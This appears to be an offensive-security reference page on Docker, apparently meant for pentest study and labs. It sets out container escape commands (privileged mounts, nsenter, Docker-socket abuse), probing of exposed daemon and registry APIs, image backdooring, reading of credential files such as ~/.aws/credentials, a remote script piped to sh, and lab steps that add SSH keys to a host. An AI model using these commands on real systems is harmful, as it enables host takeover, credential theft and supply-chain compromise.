Container Security
Docker Security Testing
Container security assessment covering Docker daemon misconfigurations, container escapes, image vulnerabilities, and registry attacks.
Docker Escape Decision Tree
flowchart TD
A["Inside Container"] --> B{"Privileged
Mode?"}
B -->|Yes| C["Mount host disk
nsenter PID 1
→ ROOT on host"]
B -->|No| D{"Docker socket
mounted?"}
D -->|Yes| E["docker run --privileged
→ ROOT on host"]
D -->|No| F{"Dangerous
Capability?"}
F -->|CAP_SYS_ADMIN| G["cgroup escape
mount filesystem"]
F -->|CAP_SYS_PTRACE| H["Process injection
/proc access"]
F -->|None| I{"Host PID/NET
namespace?"}
I -->|Yes| J["See host processes
access host network"]
I -->|No| K["Look for kernel
exploits or
misconfigs"]
Container Detection
bash
# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null
# Check container ID
cat /etc/hostname
# Container capabilities
cat /proc/self/status | grep Cap# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null
# Check container ID
cat /etc/hostname
# Container capabilities
cat /proc/self/status | grep CapDocker Daemon Attacks
Exposed Docker Socket
Critical Vulnerability
An exposed Docker socket (TCP 2375/2376 or mounted /var/run/docker.sock)
provides root-equivalent access to the host system.
bash
# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET
# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json
# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jq# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET
# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json
# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jqMounted Docker Socket Escape
bash
# Check for mounted Docker socket
ls -la /var/run/docker.sock
# If present, we can control Docker daemon
docker ps
docker images
# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /host# Check for mounted Docker socket
ls -la /var/run/docker.sock
# If present, we can control Docker daemon
docker ps
docker images
# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /hostContainer Escape Techniques
Privileged Container
bash
# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)
# Method 1: Mount host disk
fdisk -l # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)
# Method 1: Mount host disk
fdisk -l # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bashCapability Abuse
| Capability | Escape Method | Risk |
|---|---|---|
| CAP_SYS_ADMIN | Mount filesystems, cgroup escape | Critical |
| CAP_SYS_PTRACE | Process injection, /proc access | High |
| CAP_NET_ADMIN | Network manipulation, sniffing | Medium |
| CAP_SYS_MODULE | Load kernel modules | Critical |
Sensitive Mount Escapes
bash
# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev
# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt
# Host network namespace
# If --net=host is set, access host network interfaces
ip addr# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev
# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt
# Host network namespace
# If --net=host is set, access host network interfaces
ip addrImage and Registry Attacks
Registry Enumeration
bash
# Check for exposed registry
curl http://REGISTRY:5000/v2/
# List repositories
curl http://REGISTRY:5000/v2/_catalog
# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list
# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest
# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH
# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .# Check for exposed registry
curl http://REGISTRY:5000/v2/
# List repositories
curl http://REGISTRY:5000/v2/_catalog
# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list
# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest
# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH
# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .Malicious Image Injection
bash
# If write access to registry exists
# 1. Pull legitimate image
docker pull registry:5000/app:latest
# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest
# 3. Push backdoored image
docker push registry:5000/app:latest# If write access to registry exists
# 1. Pull legitimate image
docker pull registry:5000/app:latest
# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest
# 3. Push backdoored image
docker push registry:5000/app:latestImage Security Scanning
bash
# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest
# Grype - Anchore vulnerability scanner
grype nginx:latest
# Dive - Analyze image layers for secrets
dive nginx:latest# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest
# Grype - Anchore vulnerability scanner
grype nginx:latest
# Dive - Analyze image layers for secrets
dive nginx:latestRuntime Exploitation
Container Process Enumeration
bash
# From host - enumerate containers
docker ps -a
docker inspect CONTAINER
# Get container filesystem
docker export CONTAINER > container.tar
# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd
# Execute in running container
docker exec -it CONTAINER /bin/bash
# View logs (may contain secrets)
docker logs CONTAINER# From host - enumerate containers
docker ps -a
docker inspect CONTAINER
# Get container filesystem
docker export CONTAINER > container.tar
# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd
# Execute in running container
docker exec -it CONTAINER /bin/bash
# View logs (may contain secrets)
docker logs CONTAINERSecrets in Container
bash
# Environment variables
env
# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*
# Check for mounted secret files
mount | grep secret
# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/config# Environment variables
env
# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*
# Check for mounted secret files
mount | grep secret
# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/configTools
Deepce
Docker enumeration and escape tool.
bash
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | shcurl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | shCDK
Container penetration toolkit.
bash
./cdk evaluate
./cdk run escape-privileged./cdk evaluate
./cdk run escape-privilegedAmicontained
Container introspection tool.
bash
./amicontained./amicontainedDocker Bench
CIS Docker benchmark checker.
bash
docker run -it --net host --pid host docker/docker-bench-securitydocker run -it --net host --pid host docker/docker-bench-securityQuick Escape Check Script
bash
#!/bin/bash
# Quick container escape enumeration
echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'
echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff
echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'
echo ''
echo '=== Network ==='
hostname -I
ip route#!/bin/bash
# Quick container escape enumeration
echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'
echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff
echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'
echo ''
echo '=== Network ==='
hostname -I
ip route 🎯
Docker Security Labs
Hands-on practice with Docker attack and escape techniques.
🔧
Container Escape Gauntlet Custom Lab hard
Run deepce inside a container to auto-detect escape pathsEscape a privileged container via host disk mount and nsenterEscape via a mounted Docker socket (spawn a new privileged container)Exploit CAP_SYS_ADMIN to perform a cgroup-based escapeAttempt escape from a locked-down container (no caps, seccomp, read-only root)Compare CDK vs deepce vs amicontained detection capabilities
🔧
Docker Registry & Image Supply Chain Custom Lab medium
Deploy a private Docker registry without authenticationEnumerate repositories and tags via the registry APIDownload image layers and search for hardcoded secretsInject a backdoor into an existing image and push it backScan images with Trivy and Grype to find known CVEsImplement Docker Content Trust and verify signed images
🔧
Exposed Docker Daemon Exploitation Custom Lab medium
Discover an exposed Docker API on port 2375 (no TLS)Enumerate all containers, images, and volumes via the APICreate a privileged container mounting the host filesystemAdd an SSH key to the host's /root/.ssh/authorized_keysRun Docker Bench Security and remediate critical findings